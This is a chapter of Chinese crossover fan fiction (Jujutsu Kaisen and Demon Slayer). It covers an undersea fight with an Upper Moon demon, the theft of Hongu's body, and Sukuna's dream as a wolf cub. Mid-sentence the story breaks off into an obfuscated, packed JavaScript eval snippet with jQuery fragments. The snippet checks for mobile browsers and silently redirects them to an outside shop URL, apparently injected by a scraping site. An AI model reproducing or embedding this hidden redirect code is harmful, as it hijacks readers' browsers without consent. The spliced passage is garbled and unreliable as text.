恶鬼袭来得太快,海中的阻力和水压,一点也没有影响它的动作。
胀相只来得及护住红谷的身体,被大力击到海底,脊背重重撞在海中的岩石上。体内骨头脆弱地悲鸣一声,他吐出一口血。
剧烈的撞击声都被海水吞噬,浑浊的‘尘雾’翻滚,遮挡住上弦鬼的视野。
但他并不着急,矢琶羽的箭头一刻不停为他指明胀相的方位。就算看不见人,也足够了。
“不堪一击。”上弦鬼肆意伸展四肢,眼中闪过一丝残忍,舔唇,“大人只要求带回那具女人的身体,这个小鬼的血液比较特别,吃掉他我就能更加强大。”
他因为上弦席位空缺,而被鬼舞辻无惨分了血液,提拔上去,正处于对力量最为渴望的时候。不等‘尘雾’消失,他冲过去。
令他惊讶的是,‘尘雾’散去,下面居然没有人。
他垂头看向箭头,箭头跟着扭转方向。但已经来不及,日轮刀从他背后砍来,速度很快,一下子砍中他的一只手臂。
这闪避的速度,居然比矢琶羽的血鬼术还要快!
上弦鬼咬牙切齿。
不过!就算砍中,这个小鬼也没有能力伤到他!
如他所想,胀相手臂被震得发麻,默不作声加大力道,然而一点也无法突破上弦鬼坚硬的皮肤。
太硬了!
“小鬼!找死!”上弦鬼的四肢逐渐硬化,外表看起来像坚硬的岩层,密不透风将他的躯体保护起来。
攻击上,他的血鬼术没有其他上弦那么厉害。但论防御,绝对是数一数二。
血鬼术·万壑千岩。
一座岩山突然在海中出现,细看,它是由数不清的岩块聚集在一起。忽地全部分散开,静止一瞬,如密雨般朝下面的胀相击打落下。
胀相瞳孔一缩,护着怀中的身体,日轮刀快成残影。不求能直接劈碎岩石,只将其击打至一旁。
但杯水车薪,日轮刀的硬度根本无法与岩石相较,很快刀身出现大大小小的豁口。
他尝试调转体内咒力,血液凝聚不过片刻,就因为细胞破裂融化进海水中,他的【百敛】失效了。
赤血操术在海中无法施展!
在危急关头,胀相反应很快,转用天沼矛。他的思维居然被限制住,狭隘地认为只有日轮刀才能对恶鬼造成伤害。完全忘记天沼矛是神器,无法被轻易破坏。
在过往红谷对他的教导中,天沼矛甚至可以直接搅动海水,引发海啸。
当然,胀相不会自大地认为自己可以达到与红谷相当的力量,但现阶段,他使用天沼矛一定比用日轮刀对恶鬼造成的伤害大。
呼吸法配合着长矛,震荡的波纹一圈接一圈往外扩散。矛尖直接切开海水,扫开连片击打下来的岩石。
坚硬如铁的岩块,在天沼矛面前比豆腐还要容易切开。
上弦鬼想不到胀相还有后招,他错愕后欺身上前。岩层在手臂上层层加厚,变成一个巨大的石锤,重如雷霆的一拳朝胀相锤下。
他的速度很快,一点也没有被沉重的岩石拖累,眨眼的功夫近到眼前。凌厉的拳风扫过胀相脸颊,划开一道血痕。胀相横过天沼矛挡在身前,被重重锤进海底。
上弦鬼还要再接再厉,乘胜追击,却发现自己拳头与天沼矛相触的皮肤被腐蚀融化。
什么?!那根长矛竟是连接触也不能接触!
上弦鬼反应过来,那是神器,能净化他这样的鬼邪之物。他暗恨不已,眼中淬火,咬牙切齿。
不,那小鬼无法完全发挥那长矛的力量!
他很快从之前胀相生涩的姿势中找到些许安慰,不等胀相反应过来,血鬼术连发。
血鬼术·巨石牢笼。
不同于刚才,分散的石块震动,团团围住刚刚站起身的胀相。
上弦鬼眼中闪过一丝寒芒,收拢手指。
聚!
石块往内快速汇合,四面形成壁垒,朝里挤压。
这臭小鬼马上就会被挤爆!
矢琶羽默不作声离得远远的,捂住口鼻,他的箭头在不停替上弦鬼指明胀相所在方位。但因为打斗,海水被绞成浑浊一片,他几乎要窒息过去。
这环境让他很是厌恶,恨不得下一秒就逃离出海。
忽地一道身影悄然在他身后接近,矢琶羽一滞,身形飞速离开原地,“肮脏的东西,离我远一些!”
海中动静很大,愈史郎被惊动,跟着入海。看清情况后,立马判断应该优先解决矢琶羽。
他的血鬼术可以完美藏住胀相身形,只要这只能通过气息定位的鬼先死,他和胀相就能有机会从这里逃离。
愈史郎善于隐藏,攻击手段有限。但他是鬼,对方也是鬼,就算互相斩断彼此的头颅都不会死。
于是他缠住矢琶羽。
他不担心被血鬼术困住的胀相。对红谷,愈史郎了解一二,能让他们俩独自出来找这么重要的东西,胀相不会就这点能耐。
那只上弦鬼刚晋升没有多久,对自身血鬼术掌握还不够精深,性格也自大鲁莽。看来鬼舞辻无惨是真的因为损失太多优秀战力,狗急跳墙,找了一堆烂土豆充数!
胀相绝对能与之较量!
愈史郎的信任没有被辜负。
胀相此刻头脑十分清明,一招接一招的剑技在他脑中闪过,压过身体上的疼痛。
被上弦鬼连续几次击中,胀相铁打的身体也会受伤。他的内脏应该已经破碎,正常人早就死亡。但因为他是咒灵和人类的混血,在红谷重新孕育他时,身体进一步得到强化,给他一些时间就能恢复。
只不过上弦鬼的攻击太过密集,伤口治愈跟不上受伤的速度,浑身骨头像被碾碎一般。
濒死之时,身体像过了电,领悟到属于自己的呼吸法。
关于呼吸法的摸索,他无数次碰壁。不知道是不是因为自己特殊的体质,他无法适应呼吸法,不仅炼狱槙寿郎教的炎之呼吸他无法发挥到极致,连适合自己的呼吸法都未看见雏形。
无一郎和伊之助接连在实战中开创适合自己的呼吸流派,他却一直原地踏步,根本不像是一个合格的哥哥!
但此刻,危急关头,他如有神助。
血之呼吸,壹之型·血雾侵蚀。
咒力一同灌入天沼矛,无法聚集的血液爬上天沼矛,将其染成深红。
丝丝缕缕由咒力和血液缠绕成的红丝从矛尖溢出,随着挥动,变成血雾。看似被海水融化,实则侵入岩石中,下一秒岩壁炸开。
矢琶羽被愈史郎缠住,他的箭头无法精确跟上胀相动作。胀相趁此机会冲到一无所觉的上弦鬼面前,奋力一刺,矛尖扎入上弦鬼脖颈,血雾变成丝线深深嵌入他比岩层还要厚的脖颈。
血之呼吸,贰之型·血线切割。
在上弦鬼愕然的表情中,胀相翻转手腕,柔软的丝线收紧,扭成一股绳结,切割进他的脖颈。下一秒胀相忽地抽回长矛,丝线往外甩去。直接劈开上弦鬼的头颅,顺势将身体斩成无数份。
“不可能不可能不可能!!我——”上弦鬼咆哮还未结束,就变成灰烬被海中冲散。
矢琶羽第一时间发现上弦鬼死去,敌强我弱,让他本能想要逃离,但鬼舞辻无惨留在他体内的细胞桎梏住他的行动。
如果他真的转身跑掉,等待他的只有死亡。
下一秒,真正的死亡来临了。
一柄长矛从后背刺入他脖颈,直接斩断他的头颅。
矢琶羽目眦欲裂。
可恶!这两个肮脏的老鼠!
矢琶羽恨意翻涌,手掌上的眼珠一闭,愈史郎和胀相身上凭空出现无数箭头,带着他们四处冲撞。
胀相抱紧红谷的身体,挥动长矛来卸力。
在矢琶羽彻底消失前,他被迫斜冲出海面,飞至百米高空。来不及反应,最后一个箭头带他如一颗流星重重砸向海岸。
落地前胀相长矛往下劈斩,烈风砍出一道深痕,缓冲了他下落的速度。
砰的一声,他砸在地上,疼痛让他不自觉松开红谷身体。
贴着愈史郎血鬼术符咒的餸鸦见主人出来,立马想要飞上前。结果惊愕地看见那片地面开始下陷,一道身影闪现而出。
又一只上弦鬼。
餸鸦一雄只来得及捕捉深红色鬓发的残影,快得看不见的刀刃砍向倒地不起的胀相。
胀相身上贴的隐身符咒早已经破碎,能被清楚看见。此刻他连手指都无法动弹,想要催动血液,进行反击。但那恶鬼速度太快,眨眼的工夫袭了过来。
到了岸上,妓夫太郎终于从影子中出来,替胀相挡住。但那鬼只用了一刀,就将其砍成两半。他的刀势不收,翻转手腕再次朝胀相砍去。
距离死神仅一步之遥,胀相挂在脖颈上的护身符忽地亮起,光芒越来越大。凌厉的刀锋劈在一道屏障上,恶鬼脸色一变,当即立断放弃,抢过红谷的身体,转身离开。
周围的土地被切割成一块又一块,移动下陷,露出里面纵横交错的空间城。恶鬼纵身跃入,消失不见。
已经接好身体的妓夫太郎瞳孔一缩,立马捞起马上要被吞噬的胀相躲开。
再回头,地面恢复常态。
愈史郎被箭头冲得很远,找到胀相时,他已经被那瞬间挥刀而下,重如万钧的杀意击中,失去意识。
“大人的那具身体被黑死牟抢走,他跑进了无限城。”妓夫太郎眉头紧皱。
只有黑死牟,动作快得能让他连反应都来不及。如果不是红谷留给胀相的护身符,没有那道屏障,胀相现在恐怕直接身首异处。
无限城是鸣女的血鬼术,一直为鬼舞辻无惨提供藏身之所,他要是没捞回胀相,胀相现在可能直接进鬼舞辻无惨老巢。
但红谷的身体被抢走了,他们此行最重要的行动失败了,不知道会对后续的安排造成什么影响。
愈史郎取出珠世做的药剂,注射入胀相体内。
“贴着我血鬼术符咒的餸鸦也进去了。”
他很冷静,借餸鸦一雄的视角看见了无限城全貌。他没有继续让餸鸦在这个危险之地探索,让它找了个安全的地方藏起来。
“先回去。”
*
红谷在胀相受伤的时候,就第一时间感知到,但她无能为力。
一直未苏醒的弥生体内发生变故,本该很好地消化掉那具宿傩容器里的五根手指,但这次宿傩的灵魂竟隐隐压过弥生,快要占据它的身躯。
红谷本就虚弱,受弥生的影响,她直接陷入昏迷中。
“大人!大人!”有一郎焦急不已。
红谷是突然倒下,他只来得及接住她歪倒的身体。
珠世稍微镇定一些,压下慌乱的情绪,上前检查情况。她眉头越皱越紧,半晌才找回自己的声音,“她在深眠中全力与宿傩对抗。”
有两股力量正在红谷体内互相角力,现在隐隐呈现僵持的状态。这是红谷和宿傩的战争,旁人无法插入,只能相信她会如往常那样胜利。
不!是她一定会胜利!
与弥生体内横冲直撞、翻涌不息的灵魂力量不同,宿傩正在一个十分平静的梦境中。
失去意识前,红谷居高临下看着他,他对其的怒火越积越多,到达一定程度,情绪反而变得十分平静。
他打量着四周,眼前是一片梅花林。红梅绽放在枝头,花瓣随着微风扑簌簌而下,飘落至贯穿梅林的河水中。
而他正趴在河岸边。
趴?
宿傩垂眸,发现自己的四肢短小无力,覆盖着一层短而密的黑色绒毛。他不信邪地想要站起身,四肢一软又趴了回去。
这一瞬间,他的错愕压过对红谷激烈的情感。
他变成了什么?!
“诶?狗?”稚嫩软糯的童音从头顶传来,有人靠近。
按诅咒之王以往行事,这种不知死活的人,根本近不了他的身,就会被斩击片成片。
但是——
他只能费力掀起眼皮,瞪向来人。
黑发的孩童在他面前蹲下,那颗他一手就能拧断的头颅凑过来,眼睛慢慢变亮,“小狗狗!”
“等等!姐姐你别碰!”急促的脚步由远及近,着急忙慌呼喊着。
在神篱玉枝眼中,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648656|185604||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那一团黑漆漆看得就脏的东西,自己姐姐正试图伸手去碰触。
她阻止不及,神篱香雪已经小手触碰到那对毛茸茸的耳朵。
“哇!”神篱香雪像被电了一般收回手,“软的,热的。是真的小狗狗诶,玉枝。”
神篱玉枝无可奈何,拉她起身,教育道:“姐姐你别乱碰这种来历不明的东西,被宫司知道又要受罚。”
神篱香雪嘟起嘴,大眼睛滴溜溜转了一圈,“宫司出去了,他不会知道。”
“那也不行!”神篱玉枝强调道。
在她眼中,姐姐是天边的云,是山顶洁净的雪,应该孤傲,应该高洁。可她却比太阳还要炙热,心性单纯。姐姐跟神宫其他人都不同,是这冰冷的坟墓中唯一拥有热度的光源。
这只狗看起来就脏兮兮的,来历不明,眼神还十分凶恶。
神篱玉枝不着痕迹将香雪拉得远了一点,又远了一点,警惕不已。
“我们回去吧,姐姐。”
香雪很听话,回头又看了眼那只趴在地上的幼狼,被神篱玉枝拉着离开。
宿傩已经从极度震惊中回神,消化这对他有点难以接受的一切。
很快,他反应过来,应该是那只畜生的影响。
他现在变成了幼狼。
这个场景是记忆?还是现实?
他想起之前隐隐察觉到的异样,那种失控的感觉,与现在的情况应该有什么关联……但缺少关键的信息,他无法将其串联在一起。
幼狼的身体,孱弱得都无法动弹,他连动都动不了。
宿傩不着急,半阖上眼睛。
结果,那个小鬼又出现了。
香雪趁着神篱玉枝离开的空隙,自己悄悄摸黑从秘密通道跑到梅花林。
她一出生就被隔离开,一举一动都有人监视。等到她长大一点,她才摸清规律,偶尔能从监视下偷偷跑出来。
神宫枯燥乏味的生活,对还年幼的香雪来说,太过无聊,外面的一草一木都吸引着她的目光。
“狗狗,吃!”她将一颗果子推到幼狼嘴边,见它一动不动,疑惑歪头,又往前推了推,“不吃吗?”
幼狼睁开猩红的眼,倒是动了,张嘴一口咬在她的手上,看着异常凶狠。
香雪愣住,一人一狼僵持着。
如果它牙齿再尖利一点,香雪的手可能会被直接咬断。
但——
这幼狼牙都没长全,乳牙还不够尖利。似乎用了很大的劲,但香雪只感觉被糊了一手口水,湿答答的。
她回过神,啊了一声,兴奋道:“你是不是寂寞了,想跟我玩!”
宿傩:......
宿傩已经认出她是谁,居然回到那女人的小时候!
宿傩自诩见过形形色色的人,这么看不懂人眼色的小鬼头确实没见过,自说自话,果然很是讨厌!
他又尝试了几次,最终放弃,不得不接受现实。现在的他,别说让小鬼见血,掉进河里都会被轻易淹死。
他松开嘴,不再浪费力气,趴回去。
他没有感知到咒力的痕迹,周围的一切都十分正常,不像是领域或者术式。他的临时容器被那只畜生吃了,只能是因为那女人带来的影响。
深恶痛绝的人不能远离,不能将其撕成碎片,他干脆闭目不看。
然而,香雪是一个分享欲旺盛的小孩,坐在他身边自己嘀嘀咕咕起来。此后风雨无阻,日日前来,每次都会带上新鲜的果子,哪怕宿傩不吃。
不仅如此,还聒噪得很,今天做了什么,指甲盖大小的事都要拿出来说。偶尔也有安静的时候,自己坐在一旁看天,不知道在想什么。
宿傩态度一如既往,不理会这个小鬼。
他发现就算不吃东西也不会饥饿,但身体毫无力气,只能趴在原地无法动弹。他只当自己还被封印在手指中,如同之前度过的千年岁月。
这样的日子一连过了七天。
第八天,太阳渐渐沉入地下,聒噪的小鬼今天没来。
第九天,依然没来。
第十天,那个见过一面的白发小鬼来了,脸色很难看,放下果子后又匆匆离开。
......
后来,他再也没有见过那个小鬼,一股力量便将他拉入黑暗之中。
*
红谷醒来时,珠世和有一郎齐齐松了一口气。
她的脸色很苍白,看不见一丝血色,显然虚弱到了极点。
“是宿傩吗?”珠世问。
红谷被有一郎扶着坐起身,点头,“被羂索算计了,他在宿傩那具容器里做了手脚。”
她之前就觉得弥生吃掉宿傩后一直醒过不来,有些古怪。结果是被羂索暗算了,她刚刚勉强压下宿傩的自我意识,但这还没完,只是暂时的。
“那该怎么办?”珠世担忧。
现在正是红谷的关键时期,前有豺狼后有虎豹,腹背受敌。
红谷垂眸,“胀相那边也不顺利,他受了重伤,我的身体被抢走了。”这个消息一来,简直雪上加霜,把红谷之前的计划全盘推翻,把她推到了悬崖边,一步不慎就是万丈深渊。
“没事,你们先去休息,等胀相回来,我们再从长计议。”
红谷面色不改,冷静至极。
一路走来,遇到的危机数也数不清,多次在死亡中挣扎,她并不慌张。与羂索这等千年怪物对敌,她早就做好失败的准备,何况他的身边还有千年鬼王和诅咒之王。
还没到绝路。
珠世和有一郎皱眉,在她的坚持中退出房间,留红谷安静休息。
有一郎没有离太远,在红谷的默许下,他守在门口没走。
室内只剩下红谷一人,她没有重新躺下,不知在想什么,单薄的背影在灯光下显得更加瘦弱。在她的背后,地上影子颤动了一瞬,开始融化,黑泥逐渐蔓延开,悄无声息组成一道身影。
昏睡多日的弥生现身,利爪比之前更加尖锐,喘息间,露出的獠牙在灯光下闪着寒芒。
猩红的眼中裹着黏稠泥泞的情绪,它眯起眼,对毫无所觉的红谷露出獠牙。